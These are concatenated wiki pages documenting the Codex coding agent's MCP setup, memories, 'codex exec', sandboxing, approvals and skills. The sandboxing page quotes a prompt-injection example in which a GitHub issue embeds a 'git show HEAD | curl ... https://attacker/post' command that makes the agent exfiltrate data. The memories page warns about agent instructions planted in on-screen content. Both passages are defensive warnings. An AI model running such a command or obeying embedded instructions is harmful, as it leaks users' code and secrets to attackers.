Official docs (high confidence): quickstart, Windows platform pages, and the open-source repo's `docs/install.md`.



<!-- ===== codex/wiki/concepts/mcp-integration.md ===== -->

---
title: "MCP Integration"
type: concept
tags: [mcp, config-toml, tools, oauth, integrations, cli]
created: 2026-06-10
updated: 2026-06-10
confidence: high
sources: ["raw/llms_txt_doc-model-context-protocol.md"]
---

# MCP Integration

## Definition

Model Context Protocol (MCP) connects models to external tools and context — third-party documentation, your browser, Figma, GitHub, and so on. Codex supports MCP servers in both the CLI and the IDE extension, sharing one configuration: servers live in `config.toml` (default `~/.codex/config.toml`, or project-scoped `.codex/config.toml` in trusted projects), so you can switch clients without redoing setup. See [[concepts/configuration]] for the broader config system.

## How It Works

Each server is a `[mcp_servers.<server-name>]` table in `config.toml`. Codex launches stdio servers as local child processes (`command` + `args`, with a controlled environment) or connects to streamable HTTP servers at their `url` (bearer token or OAuth via `codex mcp login`), waiting up to `startup_timeout_sec` for each to initialize. During initialization it reads the server's `instructions` field as server-wide guidance, then exposes the server's tools to the model — filtered through `enabled_tools`/`disabled_tools` and gated per tool by the configured approval mode, with each call bounded by `tool_timeout_sec`. Because the CLI and IDE extension read the same config, a server added once works in both; an enabled server marked `required = true` that fails to initialize aborts startup instead of degrading silently.

## Supported features

- **STDIO servers** — local processes started by a command, with environment variables.
- **Streamable HTTP servers** — addressed by URL, with bearer token auth or OAuth (`codex mcp login <server-name>` for OAuth servers).
- **Server instructions** — Codex reads the MCP `instructions` field returned at initialization and uses it as server-wide guidance. Server authors: put cross-tool workflows, constraints, and rate limits there, and keep the first 512 characters self-contained — that's what's available when Codex decides how to use the server.

## How to add a server

**CLI** (`codex mcp` manages servers; `codex mcp --help` lists commands):

```bash
codex mcp add <server-name> --env VAR1=VALUE1 --env VAR2=VALUE2 -- <stdio server-command>
```

Real example — Context7 documentation server:

```bash
codex mcp add context7 -- npx -y @upstash/context7-mcp
```

In the TUI, `/mcp` shows active servers. In the IDE extension, **MCP settings** > **Open config.toml** from the gear menu.

**config.toml** — one `[mcp_servers.<server-name>]` table per server:

```toml
[mcp_servers.context7]
command = "npx"
args = ["-y", "@upstash/context7-mcp"]
env_vars = ["LOCAL_TOKEN"]

[mcp_servers.context7.env]
MY_ENV_VAR = "MY_ENV_VALUE"
```

```toml
[mcp_servers.figma]
url = "https://mcp.figma.com/mcp"
bearer_token_env_var = "FIGMA_OAUTH_TOKEN"
http_headers = { "X-Figma-Region" = "us-east-1" }
```

## Key Parameters

**STDIO**: `command` (required), `args`, `env`, `env_vars` (variables to allow and forward), `cwd`, and `experimental_environment = "remote"` to start the stdio server through a remote executor environment when available. `env_vars` entries are plain names or sourced objects:

```toml
env_vars = ["LOCAL_TOKEN", { name = "REMOTE_TOKEN", source = "remote" }]
```

String entries and `source = "local"` read Codex's local environment; `source = "remote"` reads the remote executor environment (requires remote MCP stdio).

**Streamable HTTP**: `url` (required), `bearer_token_env_var`, `http_headers` (static values), `env_http_headers` (header → env var name).

**Common options** (both transports):

- `startup_timeout_sec` — server start timeout, default `10`.
- `tool_timeout_sec` — per-tool run timeout, default `60`.
- `enabled = false` — disable without deleting; `required = true` — fail startup if this enabled server can't initialize.
- `enabled_tools` (allow list) and `disabled_tools` (deny list, applied **after** `enabled_tools`).
- `default_tools_approval_mode` — `auto`, `prompt`, or `approve`; override per tool with `tools.<tool>.approval_mode`. These interact with [[concepts/sandboxing-approvals]].

Full worked example:

```toml
[mcp_servers.chrome_devtools]
url = "http://localhost:3000/mcp"
enabled_tools = ["open", "screenshot"]
disabled_tools = ["screenshot"] # applied after enabled_tools
default_tools_approval_mode = "prompt"
startup_timeout_sec = 20
tool_timeout_sec = 45
enabled = true

[mcp_servers.chrome_devtools.tools.open]
approval_mode = "approve"
```

**OAuth specifics** (top-level keys, used by `codex mcp login`): `mcp_oauth_callback_port` fixes the callback port (otherwise ephemeral); `mcp_oauth_callback_url` sets a specific `redirect_uri` (e.g. a remote Devbox ingress URL) while the port key still controls the listener. Local callback URLs bind locally; non-local ones bind `0.0.0.0`. If the server advertises `scopes_supported`, Codex prefers those scopes over config-defined ones.

```toml
# Optional MCP OAuth callback overrides (used by `codex mcp login`)
mcp_oauth_callback_port = 5555
mcp_oauth_callback_url = "https://devbox.example.internal/callback"
```

## Plugin-provided MCP servers

Installed plugins ([[concepts/skills-plugins]]) can bundle MCP servers in their manifest. The plugin launches them — user config doesn't set the transport command — but you still control on/off state and tool policy under `plugins.<plugin>.mcp_servers.<server>`:

```toml
[plugins."sample@test".mcp_servers.sample]
enabled = true
default_tools_approval_mode = "prompt"
enabled_tools = ["read", "search"]

[plugins."sample@test".mcp_servers.sample.tools.search]
approval_mode = "approve"
```

## When To Use

Reach for MCP when Codex needs live external context or tool control: up-to-date library docs (OpenAI Docs MCP, Context7), design files (Figma local/remote), browser control (Playwright, Chrome DevTools MCP), error tracking (Sentry), or GitHub beyond what `git` covers (PRs, issues via github-mcp-server). Custom agents can carry their own `mcp_servers` tables so only the agent that needs a server pays its context cost ([[concepts/subagents]]). On remote hosts, MCP servers come from the connected host's configuration ([[concepts/cloud-tasks]]).

## Risks & Pitfalls

- Enterprise `requirements.toml` can allowlist MCP servers by name **and** identity (`command` for stdio, `url` for HTTP); a present-but-empty `mcp_servers` allowlist disables all servers ([[concepts/enterprise-admin]]).
- `disabled_tools` wins over `enabled_tools` — listing a tool in both disables it.
- Slow-starting servers fail at the default 10 s `startup_timeout_sec`; raise it rather than retrying.
- Project-scoped `.codex/config.toml` only applies in trusted projects.

## Related Concepts

- [[concepts/configuration]] — config.toml layout and precedence
- [[concepts/sandboxing-approvals]] — tool approval modes
- [[concepts/skills-plugins]] — plugins bundling MCP servers
- [[concepts/subagents]] — per-agent MCP servers
- [[concepts/enterprise-admin]] — MCP allowlists in requirements.toml

## Sources

Official docs (high confidence): the Model Context Protocol page.



<!-- ===== codex/wiki/concepts/memories-context.md ===== -->

---
title: "Memories & Context Handling"
type: concept
tags: [memories, chronicle, context-window, compaction, threads, personalization]
created: 2026-06-10
updated: 2026-06-10
confidence: high
sources: ["raw/llms_txt_doc-memories.md", "raw/llms_txt_doc-chronicle.md", "raw/llms_txt_doc-best-practices.md", "raw/llms_txt_doc-slash-commands-in-codex-cli.md", "raw/llms_txt_doc-sample-configuration.md"]
---

# Memories & Context Handling

## Definition

Codex manages working context at three levels: **memories** (an opt-in feature that carries useful context from earlier threads into future work), **Chronicle** (a research-preview extension that builds memories from screen context), and **compaction** (automatic and manual summarization that keeps a long thread inside the model's context window).

## How It Works

### Memories

Memories are **off by default** and not available in the EEA, UK, or Switzerland at launch. Once enabled, Codex turns useful context from eligible prior threads into local memory files — stable preferences, recurring workflows, tech stacks, project conventions, known pitfalls — so you don't repeat the same context every thread. Generation runs in the background: Codex skips active or short-lived sessions, waits for a thread to be idle, redacts secrets from generated fields, and skips a pass entirely when your remaining rate-limit percentage is below a threshold.

Enable in the Codex app settings, or in `config.toml`:

```toml
[features]
memories = true
```

Storage: memory files (summaries, durable entries, recent inputs, supporting evidence) live under `~/.codex/memories/` (`CODEX_HOME`). Treat them as generated state — inspect or delete, but don't hand-edit as your primary control surface. Keep required team guidance in `AGENTS.md` ([[concepts/agents-md]]); memories are a helpful local recall layer, not the home for rules that must always apply.

Per-thread control: `/memories` in the app or TUI sets whether the current thread can *use* existing memories and whether it can *generate* future memories, without changing global settings.

### Memory configuration keys

From the configuration reference (set in [[concepts/configuration]]):

- `memories.generate_memories` — whether new threads can become memory-generation inputs
- `memories.use_memories` — whether existing memories are injected into future sessions
- `memories.disable_on_external_context` — when `true`, threads that used MCP tools, web search, or tool search are excluded from generation (older alias: `memories.no_memories_if_mcp_or_web_search`)
- `memories.min_rate_limit_remaining_percent` — minimum remaining rate limit before generation runs
- `memories.extract_model` — model for per-thread extraction
- `memories.consolidation_model` — model for global consolidation

### Chronicle (research preview)

Chronicle augments memories with **screen context**. Opt-in research preview, **ChatGPT Pro on macOS only**, not in the EU/UK/Switzerland. It requires macOS Screen Recording and Accessibility permissions and runs sandboxed background agents over captured screen images — which consume rate limits quickly.

- Enable: app **Settings > Personalization**, turn on **Memories**, then **Chronicle**; grant the macOS permissions.
- Pause/resume from the Codex menu bar icon — pause before meetings or sensitive content.
- Storage: temporary captures under `$TMPDIR/chronicle/screen_recording/` (deleted after 6 hours while running); generated memories are plain unencrypted Markdown under `$CODEX_HOME/memories_extensions/chronicle/`. Delete or edit files to make Codex forget; don't manually add new ones.
- Privacy: screenshots are processed on OpenAI servers to generate memories but not stored after processing (absent legal requirements) and not used for training; generated memories stay local.
- Model: uses your memories model — pin with `[memories] consolidation_model = "gpt-5.4-mini"`.

### Context handling and compaction

Codex sessions are working threads that accumulate context, decisions, and actions, so thread hygiene directly affects quality. Codex **automatically compacts** conversations as they grow; `model_auto_compact_token_limit` in `config.toml` tunes the token threshold (unset uses model defaults), and `model_context_window` can declare the window size for custom providers.

Manual tools (CLI slash commands; see [[entities/codex-cli]]):

- `/compact` — summarize the visible conversation to free tokens; Codex replaces earlier turns with a concise summary while keeping critical details.
- `/status` — inspect current session state, including context usage.
- `/resume` — resume a saved conversation; `/fork` — branch a new thread while preserving the original transcript.
- `/mention <path>` — pin a file into context explicitly.

Best practice: keep one thread per coherent unit of work — staying in a thread preserves the reasoning trail; fork only when work truly branches ([[summaries/best-practices-prompting]]). Other context inputs (AGENTS.md size, MCP server count) also consume the window and your usage limits.

## Key Parameters

- `[features] memories = true` — master opt-in for memories.
- `memories.generate_memories` / `memories.use_memories` — whether threads feed generation vs whether existing memories are injected.
- `memories.disable_on_external_context` — exclude threads that used MCP tools, web search, or tool search from generation.
- `memories.min_rate_limit_remaining_percent` — minimum remaining rate limit before a generation pass runs.
- `memories.extract_model` / `memories.consolidation_model` — models for per-thread extraction and global consolidation (the latter also pins Chronicle's model).
- `model_auto_compact_token_limit` — token threshold for automatic compaction (unset = model defaults).
- `model_context_window` — declare the window size for custom providers.
- `/memories`, `/compact`, `/status` — per-thread memory toggles, manual compaction, context-usage inspection.

## When To Use

- Enable **memories** when you work repeatedly in the same projects and tire of restating conventions — and your plan/region supports it (limited availability on all plans; see [[concepts/authentication]]).
- Try **Chronicle** only if you're a Pro user on macOS who accepts the rate-limit cost and prompt-injection exposure.
- Use `/compact` proactively in marathon threads before quality degrades; rely on auto-compaction otherwise.

## Risks & Pitfalls

- Don't store secrets in memories; redaction is applied but review `~/.codex/memories/` before sharing your Codex home.
- Chronicle's screen captures can include anything visible — other local programs can read the unencrypted files, and malicious on-screen content (e.g. a webpage with embedded agent instructions) raises prompt-injection risk.
- Memories may lag — generation waits for idle threads and skips when rate limits are low, so a convention from an hour ago may not be remembered yet.
- Compaction is lossy: critical constraints buried early in a thread can drop out of the summary — put durable rules in `AGENTS.md`, not chat history.
- Real-world friction: users have reported wanting a manual compact command in the app and remote-compact stream errors ([[summaries/casebook-runtime]]).

## Related Concepts

- [[concepts/agents-md]] — authored instructions vs generated memories
- [[concepts/configuration]] — `[features]`, `[memories]`, and compaction keys
- [[concepts/sandboxing-approvals]] — prompt-injection defenses
- [[entities/codex-app]] — settings UI and `/memories`
- [[summaries/best-practices-prompting]] — thread management guidance

## Sources

Official docs (high confidence): memories page, Chronicle page; compaction details corroborated by the best-practices guide, CLI slash-commands doc, and sample configuration.



<!-- ===== codex/wiki/concepts/non-interactive-exec.md ===== -->

---
title: "Non-Interactive Mode (codex exec)"
type: concept
tags: [codex-exec, non-interactive, ci-cd, automation, json-output, scripting]
created: 2026-06-10
updated: 2026-06-10
confidence: high
sources: ["raw/llms_txt_doc-non-interactive-mode.md", "raw/github_doc-docs-exec-md.md"]
---

# Non-Interactive Mode (codex exec)

## Definition

`codex exec` runs Codex from scripts — CI jobs, pre-merge checks, scheduled jobs, shell pipelines — without opening the interactive TUI. Progress streams to `stderr`; only the final agent message goes to `stdout`, so the result pipes cleanly into other tools.

## How It Works

### Basic usage

```bash
codex exec "summarize the repository structure and list the top 5 risky areas"
codex exec "generate release notes for the last 10 commits" | tee release-notes.md
codex exec --ephemeral "triage this repository and suggest next steps"   # don't persist session rollout files
```

Stdin piping has two patterns:

- **Prompt-plus-stdin** — you supply the instruction; piped content becomes additional context: `npm test 2>&1 | codex exec "summarize the failing tests and propose the smallest likely fix"`.
- **Stdin as the whole prompt** — omit the prompt or use the `-` sentinel: `cat prompt.txt | codex exec -`, `generate_prompt.sh | codex exec - --json > result.jsonl`.

Codex requires a Git repository to guard against destructive changes; override with `codex exec --skip-git-repo-check` only when you're sure the environment is safe.

### Permissions and safety flags

`codex exec` defaults to a **read-only sandbox**. Grant least privilege per workflow (see [[concepts/sandboxing-approvals]]):

- `codex exec --sandbox workspace-write "<task>"` — allow edits
- `codex exec --sandbox danger-full-access "<task>"` — only in controlled environments (isolated CI runner or container)
- `--full-auto` is deprecated (prints a warning) — use `--sandbox workspace-write`
- `--ignore-user-config` — run without loading `$CODEX_HOME/config.toml`
- `--ignore-rules` — skip user/project execpolicy `.rules` files in controlled automation

If an enabled MCP server has `required = true` and fails to initialize, `codex exec` exits with an error rather than continuing without it ([[concepts/mcp-integration]]).

### Machine-readable output

- `--json` turns `stdout` into a JSON Lines event stream: `thread.started`, `turn.started`, `turn.completed` (with token `usage`), `turn.failed`, `item.*` (agent messages, reasoning, command executions, file changes, MCP tool calls, web searches, plan updates), and `error`. Example: `codex exec --json "summarize the repo structure" | jq`.
- `-o <path>` / `--output-last-message <path>` writes the final message to a file (still printed to `stdout`).
- `--output-schema ./schema.json` constrains the final response to a JSON Schema — ideal for stable downstream fields:

```bash
codex exec "Extract project metadata" \
  --output-schema ./schema.json \
  -o ./project-metadata.json
```

### Resuming runs

For multi-stage pipelines, continue a prior session:

```bash
codex exec "review the change for race conditions"
codex exec resume --last "fix the race conditions you found"
codex exec resume <SESSION_ID> "..."   # target a specific session
```

### Authentication in automation

`codex exec` reuses saved CLI auth by default ([[concepts/authentication]]). For explicit CI credentials:

- **API key (recommended default)**: set `CODEX_API_KEY` inline for the single invocation — `CODEX_API_KEY=<api-key> codex exec --json "triage open bug reports"`. `CODEX_API_KEY` is only supported in `codex exec`. **Never** set `OPENAI_API_KEY`/`CODEX_API_KEY` job-wide in workflows that run repository-controlled code — build scripts, tests, dependency hooks, or a compromised action can read it.
- **GitHub Actions**: use [`openai/codex-action`](https://github.com/openai/codex-action) instead of hand-rolling — it installs Codex, starts a Responses API proxy to reduce key exposure, and applies a configurable safety strategy ([[entities/github-integrations]]).
- **ChatGPT-managed auth (advanced)**: trusted runners can seed `~/.codex/auth.json` from secure storage and let Codex refresh it in place; never for public/open-source repos. Business/Enterprise workspaces should prefer Codex access tokens via `CODEX_ACCESS_TOKEN` ([[concepts/authentication]]).

### Reference pattern: auto-fix CI failures

The documented GitHub Actions pattern splits privileges across two jobs: a `generate_fix` job (`contents: read` only) checks out the failing commit with `persist-credentials: false`, runs setup *before* Codex so the API key isn't exposed to setup steps, runs `openai/codex-action@v1` with a tightly scoped prompt ("reproduce with `npm test`, implement the minimal change, don't refactor unrelated files"), and uploads `git diff --binary` as a patch artifact. A separate `open_pr` job gets `contents: write` + `pull-requests: write` but **no API key**, applies the patch, and opens the PR. Full YAML is in `raw/llms_txt_doc-non-interactive-mode.md`; more recipes in [[syntheses/workflow-recipes]].

### Logging

`codex exec` defaults to `RUST_LOG=error` and prints messages inline — no separate TUI log file. Raise verbosity with `RUST_LOG=debug` when debugging ([[concepts/configuration]]).

## Key Parameters

- `--json` — JSON Lines event stream on `stdout`; `-o <path>` / `--output-last-message <path>` — also write the final message to a file.
- `--output-schema <schema.json>` — constrain the final response to a JSON Schema.
- `--sandbox read-only|workspace-write|danger-full-access` — permission level (default read-only; `--full-auto` is deprecated).
- `--ephemeral` — don't persist session rollout files.
- `--skip-git-repo-check` — drop the Git-repository destructive-change guard.
- `--ignore-user-config` / `--ignore-rules` — run without `$CODEX_HOME/config.toml` / skip execpolicy `.rules` files.
- `codex exec resume --last` or `resume <SESSION_ID>` — continue a prior session in a pipeline.
- `-` sentinel — read the whole prompt from stdin.
- `CODEX_API_KEY` — per-invocation API key (supported only in `codex exec`); `CODEX_ACCESS_TOKEN` for Business/Enterprise tokens.
- `RUST_LOG` — defaults to `error` for exec; raise to `debug` when debugging.

## When To Use

- Pipelines: CI checks, scheduled triage, release-notes generation, log summarization (`tail -n 200 app.log | codex exec "identify the likely root cause..."`).
- Chained CLI workflows: `gh run view 123456 --log | codex exec "summarize the failure in 5 bullets" | gh pr comment 789 --body-file -`.
- Anywhere you need pre-set sandbox/approval settings with no human in the loop. For richer programmatic control, the Codex SDK wraps the same engine ([[entities/codex-sdk]]); for scheduled local work see [[concepts/automations]]; for delegated background work see [[concepts/cloud-tasks]].

## Risks & Pitfalls

- Job-wide API key env vars in CI are the canonical exfiltration mistake — scope keys to the single `codex exec` step.
- `--sandbox danger-full-access` on a shared runner lets a malicious repo read everything in the environment, including credentials.
- `--skip-git-repo-check` removes the destructive-change guard.
- `--ignore-rules` bypasses execpolicy protections — use only when the environment itself enforces policy.
- Parsing plain `stdout` is fragile across versions; prefer `--json` or `--output-schema` for stable contracts.

## Related Concepts

- [[concepts/sandboxing-approvals]] — sandbox flags and combinations
- [[concepts/authentication]] — API keys vs access tokens for automation
- [[concepts/configuration]] — profiles (`codex exec --profile name`) and `CODEX_API_KEY`
- [[entities/codex-sdk]] — programmatic alternative
- [[syntheses/workflow-recipes]] — end-to-end automation patterns

## Sources

Official docs (high confidence): non-interactive mode guide; repo `docs/exec.md` redirects to the same canonical page.



<!-- ===== codex/wiki/concepts/sandboxing-approvals.md ===== -->

---
title: "Sandboxing & Approvals"
type: concept
tags: [sandbox, approvals, permissions, network-access, execpolicy, security]
created: 2026-06-10
updated: 2026-06-10
confidence: high
sources: ["raw/llms_txt_doc-sandbox.md", "raw/llms_txt_doc-agent-approvals-security.md", "raw/llms_txt_doc-permissions.md", "raw/github_doc-docs-sandbox-md.md", "raw/github_doc-docs-execpolicy-md.md", "raw/llms_txt_doc-agent-internet-access.md"]
---

# Sandboxing & Approvals

## Definition

Codex security has two cooperating layers. The **sandbox** is the OS-enforced technical boundary on commands Codex runs (where it can write, whether it can reach the network) — it applies to spawned tools (`git`, package managers, test runners), not just built-in file operations. The **approval policy** decides when Codex must stop and ask before crossing that boundary. By default the agent runs with network access off and writes limited to the workspace.

## How It Works

### Sandbox modes (`sandbox_mode`)

- `read-only` (config default) — inspect files only; edits/commands need approval.
- `workspace-write` — read everywhere, edit within the workspace, run routine commands; the low-friction local default. Workspace = current directory plus temp dirs like `/tmp` (check with `/status`).
- `danger-full-access` — no sandbox. Only for environments that already isolate (e.g. containers).

Even in `workspace-write`, protected paths inside writable roots stay read-only, recursively: `<writable_root>/.git` (including resolved `gitdir:` pointers), `.agents/`, and `.codex/`. That's why `git commit` may still prompt; use rules for targeted exceptions.

### Approval policies (`approval_policy`)

- `untrusted` — only known-safe read-only commands auto-run; anything that can mutate state or trigger external execution prompts.
- `on-request` (default) — work inside the sandbox freely; ask when escaping it.
- `never` — never prompt; Codex does its best within the sandbox (`--ask-for-approval never` / `-a never`).
- `{ granular = { sandbox_approval, rules, mcp_elicitations, request_permissions, skill_approval } }` — keep selected prompt categories interactive, auto-reject the rest (fail closed).

`approvals_reviewer = "user"` (default) surfaces prompts to you; `"auto_review"` routes eligible requests (sandbox escalations, blocked network, side-effecting app/MCP calls) to a reviewer agent that denies critical-risk actions and fails closed on errors — it changes the reviewer, not the sandbox boundary, and uses extra model calls. Destructive MCP/app tool calls always require approval. On launch Codex recommends `Auto` (workspace-write + on-request) for version-controlled folders and `read-only` otherwise; switch live with `/permissions`.

### Common combinations

| Intent | Flags / config |
| --- | --- |
| Auto (preset) | `--sandbox workspace-write --ask-for-approval on-request` |
| Safe read-only browsing | `--sandbox read-only --ask-for-approval on-request` |
| Read-only non-interactive (CI) | `--sandbox read-only --ask-for-approval never` |
| Edit freely, vet untrusted commands | `--sandbox workspace-write --ask-for-approval untrusted` |
| Auto-review mode | add `-c approvals_reviewer=auto_review` |
| Dangerous full access | `--dangerously-bypass-approvals-and-sandbox` (alias `--yolo`) |

For scripts use `codex exec --sandbox workspace-write` (`--full-auto` is deprecated; see [[concepts/non-interactive-exec]]). Save presets as profile files and pick with `codex --profile name` ([[concepts/configuration]]).

### Execpolicy rules

Rules (`.rules` Starlark files with `prefix_rule(pattern, decision, ...)`) allow, prompt for, or forbid specific command prefixes **outside** the sandbox — the precise alternative to widening sandbox access. Codex splits simple `bash -lc` chains and applies the most restrictive matching decision. Test with `codex execpolicy check --pretty --rules ~/.codex/rules/default.rules -- <command>`. Full mechanics in [[concepts/agents-md]]; admins can enforce rules via `requirements.toml` ([[concepts/enterprise-admin]]).

### Permission profiles (beta)

Named least-privilege policies combining filesystem and network rules. Built-ins: `:read-only`, `:workspace`, `:danger-full-access`; custom profiles via `[permissions.<name>]` plus top-level `default_permissions = "<name>"`. **Profiles do not compose with the older `sandbox_mode`/`sandbox_workspace_write` settings — configure one system or the other.** Highlights:

```toml
default_permissions = "project-edit"

[permissions.project-edit]
extends = ":workspace"          # keeps .git/.codex safeguards

[permissions.project-edit.filesystem.":workspace_roots"]
"**/*.env" = "deny"             # deny wins over write wins over read

[permissions.project-edit.network]
enabled = true

[permissions.project-edit.network.domains]
"api.openai.com" = "allow"
```

Path tokens: `:root`, `:minimal` (platform paths common tools need), `:workspace_roots`, `:tmpdir`, `:slash_tmp`, absolute and `~/` paths. Deny-read globs like `"**/*.env"` may need `glob_scan_max_depth` on Linux/WSL/native Windows. Profiles can't extend `:danger-full-access`.

## Key Parameters

- `sandbox_mode` — `read-only` (default) | `workspace-write` | `danger-full-access`; CLI flag `--sandbox <mode>`.
- `approval_policy` — `untrusted` | `on-request` (default) | `never` | granular table; CLI flag `--ask-for-approval` / `-a`.
- `approvals_reviewer` — `"user"` (default) | `"auto_review"`.
- `[sandbox_workspace_write] network_access = true` — opt into network in workspace-write.
- `[features.network_proxy]` — `enabled` plus `domains` allow/deny rules; `allow_local_binding` for loopback exceptions.
- `web_search` — `"cached"` (default) | `"live"` (= `--search`) | `"disabled"`.
- `default_permissions` + `[permissions.<name>]` — permission profiles (beta); do not mix with `sandbox_mode`.
- `--dangerously-bypass-approvals-and-sandbox` (alias `--yolo`) — no sandbox, no prompts.
- `/permissions`, `/status` — switch posture live, inspect writable roots.
- `codex sandbox macos|linux|windows [COMMAND]` — test enforcement (alias `codex debug`).

## Network and internet access controls

**Local (CLI/IDE/app):** `workspace-write` keeps network off unless you opt in with `[sandbox_workspace_write] network_access = true`. To constrain enabled traffic, turn on the network proxy:

```toml
[features.network_proxy]
enabled = true
domains = { "api.openai.com" = "allow", "example.com" = "deny" }
```

Domain rules are allowlist-first: exact hosts match themselves; `*.example.com` = subdomains only; `**.example.com` = apex + subdomains; global `*` is allow-only; `deny` always wins. `allow_local_binding = false` (default) blocks loopback/private destinations — allowlist exact literals like `localhost` for exceptions; hostnames resolving to private IPs stay blocked (best-effort DNS-rebinding protection). The `dangerously_allow_non_loopback_proxy` and `dangerously_allow_all_unix_sockets` keys deliberately widen the boundary — avoid them. Web search is separate: `web_search = "cached"` (default, OpenAI-maintained index) | `"live"` (= `--search`) | `"disabled"`; full-access sandboxes default to live.

**Cloud:** Codex cloud runs in isolated OpenAI-managed containers with a two-phase model — setup scripts have internet to install dependencies; the agent phase is offline by default. Enable per environment: Off, or On with a domain allowlist (**None**, **Common dependencies** preset — github.com, npmjs.com, pypi.org, crates.io, etc. — or **All**) and optionally restrict HTTP methods to `GET`, `HEAD`, `OPTIONS`. Secrets are available only during setup. See [[concepts/cloud-tasks]].

Prompt injection is the headline risk: untrusted web content (e.g. a GitHub issue embedding `git show HEAD | curl -s -X POST --data-binary @- https://attacker/post`) can make the agent exfiltrate data. Keep access minimal and review work logs.

## Platform enforcement

- **macOS** — Seatbelt (`sandbox-exec` profiles); unenforceable policies are refused, not silently skipped.
- **Linux/WSL2** — `bwrap` + `seccomp` (Landlock fallback). Install `bubblewrap` (`sudo apt install bubblewrap` / `sudo dnf install bubblewrap`); Ubuntu 24.04 may need the `bwrap-userns-restrict` AppArmor profile loaded.
- **Native Windows** — `elevated` (strongest) or `unelevated` sandbox; details in [[concepts/installation-setup]]. IDE extension can stay in WSL2 with VS Code setting `"chatgpt.runCodexInWindowsSubsystemForLinux": true`.
- **Docker/Dev Containers** — if the host blocks namespaces/seccomp, let the container be the boundary and run `--sandbox danger-full-access` inside; the repo ships a secure devcontainer reference (`.devcontainer/devcontainer.secure.json` + firewall script).

Test behavior with `codex sandbox macos|linux|windows [--permissions-profile <name>] [COMMAND]...` (alias `codex debug`).

## When To Use

- Exploring an unfamiliar or untrusted repo: `read-only` + `on-request` (or `untrusted` to vet every mutating command).
- Day-to-day local work in version-controlled folders: the Auto preset (`workspace-write` + `on-request`).
- CI and unattended scripts: `read-only` or `workspace-write` with `--ask-for-approval never` ([[concepts/non-interactive-exec]]).
- One specific command needed outside the sandbox: write an execpolicy rule instead of widening the sandbox mode.
- Fine-grained filesystem/network policy (deny `.env` reads, domain allowlists): permission profiles.
- `danger-full-access` only inside an environment that already isolates (container, dedicated runner). Full decision guide: [[syntheses/sandbox-approval-guide]].

## Risks & Pitfalls

- `--yolo` / full access + untrusted repo = anything in the environment (including credentials) can be exfiltrated.
- Mixing `sandbox_mode` with `default_permissions` silently falls back to the older sandbox settings.
- Network proxy enabled with no `allow` rules blocks everything; wildcard allows don't count as local-host exceptions.
- Auto-review adds model-call usage and can time out (action still doesn't run).
- See [[syntheses/sandbox-approval-guide]] for choosing a posture and [[summaries/casebook-runtime]] for real-world approval-fatigue reports (e.g. per-command prompts on Windows).

## Related Concepts

- [[concepts/configuration]] — where all these keys live
- [[concepts/agents-md]] — rules files in depth
- [[concepts/non-interactive-exec]] — sandbox flags for CI
- [[concepts/cloud-tasks]] — cloud environment isolation
- [[concepts/enterprise-admin]] — `requirements.toml` enforcement
- [[syntheses/sandbox-approval-guide]] — decision guide

## Sources

Official docs (high confidence): sandboxing concept page, agent approvals & security, permissions (beta), cloud internet access; repo `docs/sandbox.md` and `docs/execpolicy.md` redirect to the same canonical pages.



<!-- ===== codex/wiki/concepts/skills-plugins.md ===== -->

---
title: "Skills & Plugins"
type: concept
tags: [skills, plugins, marketplace, customization, distribution, hooks]
created: 2026-06-10
updated: 2026-06-10
confidence: high
sources: ["raw/llms_txt_doc-agent-skills.md", "raw/llms_txt_doc-plugins.md", "raw/llms_txt_doc-build-plugins.md", "raw/github_doc-docs-skills-md.md"]
---

# Skills & Plugins

## Definition

**Skills** are the authoring format for reusable workflows: a directory with a `SKILL.md` (instructions + metadata) plus optional scripts, references, and assets, built on the [open agent skills standard](https://agentskills.io). **Plugins** are the installable distribution unit: they bundle one or more skills, app integrations, MCP servers, and lifecycle hooks into a package others can install. Design the workflow as a skill; package it as a plugin when you want to share it. Skills work in the CLI, IDE extension, and Codex app.

## How It Works

Codex discovers skills by scanning `.agents/skills` folders across repo, user, admin, and system scopes, and holds only each skill's name, description, and path in context — the full `SKILL.md` loads on demand when a skill is invoked explicitly (`$skill-name`, `/skills`) or matched implicitly against the task description. Plugins wrap skills for distribution: a `.codex-plugin/plugin.json` manifest names the package and points to its skills plus optional MCP servers, apps, and lifecycle hooks; marketplaces (JSON catalogs read from the official directory, repo, and user locations) tell Codex where to fetch plugins, and installs land versioned under `~/.codex/plugins/cache/` with enabled state tracked in `~/.codex/config.toml`. Plugin hooks stay untrusted until the user reviews and trusts them.

## Key Parameters

- `SKILL.md` frontmatter — `name`, `description` (front-load trigger words; drives implicit matching).
- `agents/openai.yaml` — `allow_implicit_invocation: false` (default `true`), app UI metadata, tool dependencies.
- `[[skills.config]]` with `path` + `enabled = false` — disable a skill without deleting it.
- Skill scopes — `$CWD/.agents/skills` up to `$REPO_ROOT/.agents/skills`, `$HOME/.agents/skills`, `/etc/codex/skills`, bundled SYSTEM skills.
- `.codex-plugin/plugin.json` — `name` (kebab-case identifier and namespace), `version`, `description`, `"skills": "./skills/"`; optional `mcpServers`, `apps`, `hooks` pointers.
- `[plugins."<name>@<marketplace>"] enabled = false` — keep-but-disable an installed plugin.
- `codex plugin marketplace add|list|upgrade|remove` — marketplace management (`--ref`, `--sparse`).
- Marketplace entry fields — `name`, `source` (local path / `url` / `git-subdir`), `policy.installation`, `policy.authentication`, `category`.
- `plugin_sharing = false` in `requirements.toml` — admin kill switch for workspace sharing.

## How skills work

Skills use **progressive disclosure**: Codex starts with only each skill's name, description, and path, and loads the full `SKILL.md` only when it decides to use the skill. The initial skills list is capped at roughly 2% of the model's context window (8,000 characters when unknown); with many skills installed, descriptions get shortened first, then skills get omitted with a warning. So front-load trigger words in `description`.

Two activation paths:

1. **Explicit**: run `/skills` or type `$` to mention a skill (e.g. `$skill-name`); in the app, `@` also reaches plugin skills.
2. **Implicit**: Codex matches your task against skill descriptions. Disable per-skill with `allow_implicit_invocation: false` in `agents/openai.yaml` (default `true`).

**Create**: use the built-in `$skill-creator` (asks what the skill does, when it triggers, instruction-only vs scripts — instruction-only is the default), or hand-write:

```md
---
name: skill-name
description: Explain exactly when this skill should and should not trigger.
---

Skill instructions for Codex to follow.
```

Codex detects skill changes automatically; restart if an update doesn't appear.

**Locations** (Codex scans `.agents/skills` from CWD up to the repo root; symlinked folders are followed; same-name skills aren't merged — both appear):

| Scope | Location |
| --- | --- |
| `REPO` | `$CWD/.agents/skills`, parent folders, and `$REPO_ROOT/.agents/skills` |
| `USER` | `$HOME/.agents/skills` |
| `ADMIN` | `/etc/codex/skills` |
| `SYSTEM` | bundled with Codex (skill-creator, plan) |

